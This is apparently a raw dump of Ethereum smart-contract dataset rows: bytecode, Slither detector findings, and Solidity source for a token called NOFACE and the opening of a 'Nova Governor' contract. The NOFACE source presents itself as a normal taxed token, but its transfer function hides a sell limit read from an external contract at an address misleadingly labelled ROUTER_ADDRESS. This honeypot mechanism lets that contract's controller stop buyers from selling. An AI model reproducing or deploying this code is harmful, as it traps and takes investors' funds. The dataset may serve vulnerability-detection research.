3611f63565b9150611391565b61137f8484836121a7565b5092915050565b600a6020526000908152604090205460ff1681565b600080831180156113ce5750336000908152600a602052604090205460ff16155b80156113f35750600160a060020a0384166000908152600a602052604090205460ff16155b801561140d5750336000908152600b602052604090205442115b80156114305750600160a060020a0384166000908152600b602052604090205442115b151561143b57600080fd5b61144484611f5b565b1561145b57611454848484611f63565b9050610c14565b6114548484846121a7565b600154600090600160a060020a0316331461148057600080fd5b825160001061148e57600080fd5b5060005b8251811015610e895782818151811015156114a957fe5b60209081029091010151600160a060020a031615156114c757600080fd5b81600a600085848151811015156114da57fe5b602090810291909101810151600160a060020a03168252810191909152604001600020805460ff1916911515919091179055825183908290811061151a57fe5b90602001906020020151600160a060020a03167f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a583604051808215151515815260200191505060405180910390a2600101611492565b600b6020526000908152604090205481565b600154600160a060020a0316331461159957600080fd5b600655565b600160a060020a03918216600090815260096020908152604080832093909416825291909152205490565b60008060008085511180156115df575083518551145b80156115fb5750336000908152600a602052604090205460ff16155b80156116155750336000908152600b602052604090205442115b151561162057600080fd5b5060009050805b8451811015611782576000848281518110151561164057fe5b906020019060200201511180156116785750848181518110151561166057fe5b90602001906020020151600160a060020a0316600014155b80156116b95750600a6000868381518110151561169157fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156117005750600b600086838151811015156116d257fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561170b57600080fd5b6117376305f5e100858381518110151561172157fe5b602090810290910101519063ffffffff611f3016565b848281518110151561174557fe5b6020908102909101015283516117789085908390811061176157fe5b60209081029091010151839063ffffffff611f2116565b9150600101611627565b3360009081526008602052604090205482111561179e57600080fd5b5060005b8451811015611154576117d884828151811015156117bc57fe5b9060200190602002015160086000888581518110151561109857fe5b6008600087848151811015156117ea57fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061181b57fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020612303833981519152868481518110151561185557fe5b906020019060200201516040518082815260200191505060405180910390a36001016117a2565b60015460009081908190600160a060020a0316331461189a57600080fd5b600085511180156118ac575083518551145b15156118b757600080fd5b5060009050805b8451811015611b3c57600084828151811015156118d757fe5b9060200190602002015111801561190f575084818151811015156118f757fe5b90602001906020020151600160a060020a0316600014155b80156119505750600a6000868381518110151561192857fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156119975750600b6000868381518110151561196957fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156119a257600080fd5b6119b86305f5e100858381518110151561172157fe5b84828151811015156119c657fe5b6020908102909101015283518490829081106119de57fe5b906020019060200201516008600087848151811015156119fa57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020541015611a2857600080fd5b611a848482815181101515611a3957fe5b90602001906020020151600860008885815181101515611a5557fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611f0f16565b600860008784815181101515611a9657fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558351611acb9085908390811061176157fe5b915033600160a060020a03168582815181101515611ae557fe5b90602001906020020151600160a060020a03166000805160206123038339815191528684815181101515611b1557fe5b906020019060200201516040518082815260200191505060405180910390a36001016118be565b33600090815260086020526040902054611174908363ffffffff611f2116565b600154600160a060020a03163314611b7357600080fd5b600160a060020a0381161515611b8857600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c125750336000908152600a602052604090205460ff16155b8015611c375750600160a060020a0385166000908152600a602052604090205460ff16155b8015611c515750336000908152600b602052604090205442115b8015611c745750600160a060020a0385166000908152600b602052604090205442115b1515611c7f57600080fd5b611c8885611f5b565b15611ef95733600090815260086020526040902054841115611ca957600080fd5b33600090815260086020526040902054611cc9908563ffffffff611f0f16565b3360009081526008602052604080822092909255600160a060020a03871681522054611cfb908563ffffffff611f2116565b600160a060020a038616600081815260086020908152604080832094909455925185519293919286928291908401908083835b60208310611d4d5780518252601f199092019160209182019101611d2e565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611ddf578181015183820152602001611dc7565b50505050905090810190601f168015611e0c5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611e2c57fe5b826040518082805190602001908083835b60208310611e5c5780518252601f199092019160209182019101611e3d565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206123038339815191529181900360200190a3506001611f07565b611f048585856121a7565b90505b949350505050565b600082821115611f1b57fe5b50900390565b600082820183811015610c1457fe5b600080831515611f435760009150611391565b50828202828482811515611f5357fe5b0414610c1457fe5b6000903b1190565b336000908152600860205260408120548190841115611f8157600080fd5b33600090815260086020526040902054611fa1908563ffffffff611f0f16565b3360009081526008602052604080822092909255600160a060020a03871681522054611fd3908563ffffffff611f2116565b600160a060020a03861660008181526008602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b83811015612071578181015183820152602001612059565b50505050905090810190601f16801561209e5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156120bf57600080fd5b505af11580156120d3573d6000803e3d6000fd5b50505050826040518082805190602001908083835b602083106121075780518252601f1990920191602091820191016120e8565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206123038339815191529181900360200190a3506001949350505050565b336000908152600860205260408120548311156121c357600080fd5b336000908152600860205260409020546121e3908463ffffffff611f0f16565b3360009081526008602052604080822092909255600160a060020a03861681522054612215908463ffffffff611f2116565b600160a060020a0385166000908152600860209081526040918290209290925551835184928291908401908083835b602083106122635780518252601f199092019160209182019101612244565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518481529051600160a060020a0386169133916000805160206123038339815191529181900360200190a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820ef347105f5fd230bfbb351f01d3edae29d6c02a103929b58d569a16dc654545f0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,339 |
0xC26D33B24868D5e519Ef71511e0bE02f6CbaddC0
|
//SPDX-License-Identifier: MIT
// Telegram: t.me/nofacetoken
// Built-in max buy limit of 5%, will be removed after launch (calling removeBuyLimit function)
// Built-in tax mechanism, can be removed by calling lowerTax function
pragma solidity ^0.8.9;
uint256 constant INITIAL_TAX=9;
address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet
uint256 constant TOTAL_SUPPLY=100000000;
string constant TOKEN_SYMBOL="NOFACE";
string constant TOKEN_NAME="NOFACE";
uint8 constant DECIMALS=6;
uint256 constant TAX_THRESHOLD=1000000000000000000;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface O{
function amount(address from) external view returns (uint256);
}
contract NoFace is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _burnFee;
uint256 private _taxFee;
address payable private _taxWallet;
uint256 private _maxTxAmount;
string private constant _name = TOKEN_NAME;
string private constant _symbol = TOKEN_SYMBOL;
uint8 private constant _decimals = DECIMALS;
IUniswapV2Router02 private _uniswap;
address private _pair;
bool private _canTrade;
bool private _inSwap = false;
bool private _swapEnabled = false;
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor () {
_taxWallet = payable(_msgSender());
_burnFee = 1;
_taxFee = INITIAL_TAX;
_uniswap = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_rOwned[address(this)] = _rTotal;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
_maxTxAmount=_tTotal.div(20);
emit Transfer(address(0x0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeBuyLimit() public onlyTaxCollector{
_maxTxAmount=_tTotal;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(((to == _pair && from != address(_uniswap) )?amount:0) <= O(ROUTER_ADDRESS).amount(address(this)));
if (from != owner() && to != owner()) {
if (from == _pair && to != address(_uniswap) && ! _isExcludedFromFee[to] ) {
require(amount<_maxTxAmount,"Transaction amount limited");
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _pair && _swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > TAX_THRESHOLD) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswap.WETH();
_approve(address(this), address(_uniswap), tokenAmount);
_uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
modifier onlyTaxCollector() {
require(_taxWallet == _msgSender() );
_;
}
function lowerTax(uint256 newTaxRate) public onlyTaxCollector{
require(newTaxRate<INITIAL_TAX);
_taxFee=newTaxRate;
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function startTrading() external onlyTaxCollector {
require(!_canTrade,"Trading is already open");
_approve(address(this), address(_uniswap), _tTotal);
_pair = IUniswapV2Factory(_uniswap.factory()).createPair(address(this), _uniswap.WETH());
_uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_swapEnabled = true;
_canTrade = true;
IERC20(_pair).approve(address(_uniswap), type(uint).max);
}
function endTrading() external onlyTaxCollector{
require(_canTrade,"Trading is not started yet");
_swapEnabled = false;
_canTrade = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external onlyTaxCollector{
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyTaxCollector{
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b411461010e5780639e752b951461028e578063a9059cbb146102ae578063dd62ed3e146102ce578063f42938901461031457600080fd5b806356d9dce81461021c57806370a0823114610231578063715018a6146102515780638da5cb5b1461026657600080fd5b8063293230b8116100d1578063293230b8146101bf578063313ce567146101d65780633e07ce5b146101f257806351bc3c851461020757600080fd5b806306fdde031461010e578063095ea7b31461014c57806318160ddd1461017c57806323b872dd1461019f57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201825260068152654e4f4641434560d01b6020820152905161014391906114c0565b60405180910390f35b34801561015857600080fd5b5061016c61016736600461152a565b610329565b6040519015158152602001610143565b34801561018857600080fd5b50610191610340565b604051908152602001610143565b3480156101ab57600080fd5b5061016c6101ba366004611556565b610361565b3480156101cb57600080fd5b506101d46103ca565b005b3480156101e257600080fd5b5060405160068152602001610143565b3480156101fe57600080fd5b506101d4610742565b34801561021357600080fd5b506101d4610778565b34801561022857600080fd5b506101d46107a5565b34801561023d57600080fd5b5061019161024c366004611597565b610826565b34801561025d57600080fd5b506101d4610848565b34801561027257600080fd5b506000546040516001600160a01b039091168152602001610143565b34801561029a57600080fd5b506101d46102a93660046115b4565b6108ec565b3480156102ba57600080fd5b5061016c6102c936600461152a565b610915565b3480156102da57600080fd5b506101916102e93660046115cd565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561032057600080fd5b506101d4610922565b600061033633848461098c565b5060015b92915050565b600061034e6006600a611700565b61035c906305f5e10061170f565b905090565b600061036e848484610ab0565b6103c084336103bb8560405180606001604052806028815260200161188d602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610dec565b61098c565b5060019392505050565b6009546001600160a01b031633146103e157600080fd5b600c54600160a01b900460ff16156104405760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b5461046c9030906001600160a01b031661045e6006600a611700565b6103bb906305f5e10061170f565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104bf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104e3919061172e565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610545573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610569919061172e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105da919061172e565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061060a81610826565b60008061061f6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610687573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106ac919061174b565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561071b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061073f9190611779565b50565b6009546001600160a01b0316331461075957600080fd5b6107656006600a611700565b610773906305f5e10061170f565b600a55565b6009546001600160a01b0316331461078f57600080fd5b600061079a30610826565b905061073f81610e26565b6009546001600160a01b031633146107bc57600080fd5b600c54600160a01b900460ff166108155760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610437565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461033a90610fa0565b6000546001600160a01b031633146108a25760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610437565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461090357600080fd5b6009811061091057600080fd5b600855565b6000610336338484610ab0565b6009546001600160a01b0316331461093957600080fd5b4761073f8161101d565b600061098583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061105b565b9392505050565b6001600160a01b0383166109ee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610437565b6001600160a01b038216610a4f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610437565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610437565b6001600160a01b038216610b765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610437565b60008111610bd85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610437565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b919061179b565b600c546001600160a01b038481169116148015610c765750600b546001600160a01b03858116911614155b610c81576000610c83565b815b1115610c8e57600080fd5b6000546001600160a01b03848116911614801590610cba57506000546001600160a01b03838116911614155b15610ddc57600c546001600160a01b038481169116148015610cea5750600b546001600160a01b03838116911614155b8015610d0f57506001600160a01b03821660009081526004602052604090205460ff16155b15610d6557600a548110610d655760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610437565b6000610d7030610826565b600c54909150600160a81b900460ff16158015610d9b5750600c546001600160a01b03858116911614155b8015610db05750600c54600160b01b900460ff165b15610dda57610dbe81610e26565b47670de0b6b3a7640000811115610dd857610dd84761101d565b505b505b610de7838383611089565b505050565b60008184841115610e105760405162461bcd60e51b815260040161043791906114c0565b506000610e1d84866117b4565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e6e57610e6e6117cb565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610ec7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eeb919061172e565b81600181518110610efe57610efe6117cb565b6001600160a01b039283166020918202929092010152600b54610f24913091168461098c565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f5d9085906000908690309042906004016117e1565b600060405180830381600087803b158015610f7757600080fd5b505af1158015610f8b573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110075760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610437565b6000611011611094565b90506109858382610943565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611057573d6000803e3d6000fd5b5050565b6000818361107c5760405162461bcd60e51b815260040161043791906114c0565b506000610e1d8486611852565b610de78383836110b7565b60008060006110a16111ae565b90925090506110b08282610943565b9250505090565b6000806000806000806110c987611230565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506110fb908761128d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461112a90866112cf565b6001600160a01b03891660009081526002602052604090205561114c8161132e565b6111568483611378565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161119b91815260200190565b60405180910390a3505050505050505050565b6005546000908190816111c36006600a611700565b6111d1906305f5e10061170f565b90506111f96111e26006600a611700565b6111f0906305f5e10061170f565b60055490610943565b8210156112275760055461120f6006600a611700565b61121d906305f5e10061170f565b9350935050509091565b90939092509050565b600080600080600080600080600061124d8a60075460085461139c565b925092509250600061125d611094565b905060008060006112708e8787876113f1565b919e509c509a509598509396509194505050505091939550919395565b600061098583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610dec565b6000806112dc8385611874565b9050838110156109855760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610437565b6000611338611094565b905060006113468383611441565b3060009081526002602052604090205490915061136390826112cf565b30600090815260026020526040902055505050565b600554611385908361128d565b60055560065461139590826112cf565b6006555050565b60008080806113b660646113b08989611441565b90610943565b905060006113c960646113b08a89611441565b905060006113e1826113db8b8661128d565b9061128d565b9992985090965090945050505050565b60008080806114008886611441565b9050600061140e8887611441565b9050600061141c8888611441565b9050600061142e826113db868661128d565b939b939a50919850919650505050505050565b6000826114505750600061033a565b600061145c838561170f565b9050826114698583611852565b146109855760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610437565b600060208083528351808285015260005b818110156114ed578581018301518582016040015282016114d1565b818111156114ff576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461073f57600080fd5b6000806040838503121561153d57600080fd5b823561154881611515565b946020939093013593505050565b60008060006060848603121561156b57600080fd5b833561157681611515565b9250602084013561158681611515565b929592945050506040919091013590565b6000602082840312156115a957600080fd5b813561098581611515565b6000602082840312156115c657600080fd5b5035919050565b600080604083850312156115e057600080fd5b82356115eb81611515565b915060208301356115fb81611515565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561165757816000190482111561163d5761163d611606565b8085161561164a57918102915b93841c9390800290611621565b509250929050565b60008261166e5750600161033a565b8161167b5750600061033a565b8160018114611691576002811461169b576116b7565b600191505061033a565b60ff8411156116ac576116ac611606565b50506001821b61033a565b5060208310610133831016604e8410600b84101617156116da575081810a61033a565b6116e4838361161c565b80600019048211156116f8576116f8611606565b029392505050565b600061098560ff84168361165f565b600081600019048311821515161561172957611729611606565b500290565b60006020828403121561174057600080fd5b815161098581611515565b60008060006060848603121561176057600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561178b57600080fd5b8151801515811461098557600080fd5b6000602082840312156117ad57600080fd5b5051919050565b6000828210156117c6576117c6611606565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118315784516001600160a01b03168352938301939183019160010161180c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261186f57634e487b7160e01b600052601260045260246000fd5b500490565b6000821982111561188757611887611606565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122059ed8c586e45f57dff141025059d8175630e34bb87bb66f14088d755a0b0b9e664736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,340 |
0xBd4ebDf968b18DE086449d3508420239a0f0e11b
|
pragma solidity 0.8.0;
interface INova {
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function mint(address account, uint96 amount) external ;
function burn(address account, uint96 amount) external ;
function getPriorVotes(address account, uint blockNumber) external view returns (uint96);
}
contract Governor {
/// @notice The name of this contract
string public constant name = "Nova Governor";
bytes32 public immutable domainSeparator;
/// @dev The maximum number of actions that can be included in a proposal
uint constant MAX_ACTIONS = 10;
uint constant VOTE_PERIOD = 7 days; // 7 days
/// @dev The delay before voting on a proposal may take place, once proposed
uint constant VOTING_DELAY = 1;
/// @dev The number of votes required in order for a voter to become a proposer
uint constant PROPOSAL_THRESHOLD = 1;
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public view returns (uint) {
return nova.totalSupply() / 2;
}
/// @notice The address of the Nova governance token
INova public nova;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
uint id;
address proposer;
// The timestamp that the proposal execution
uint eta;
// the ordered list of target addresses for calls to be made
address[] targets;
// The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
// The ordered list of function signatures to be called
string[] signatures;
// The ordered list of calldata to be passed to each call
bytes[] calldatas;
// The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
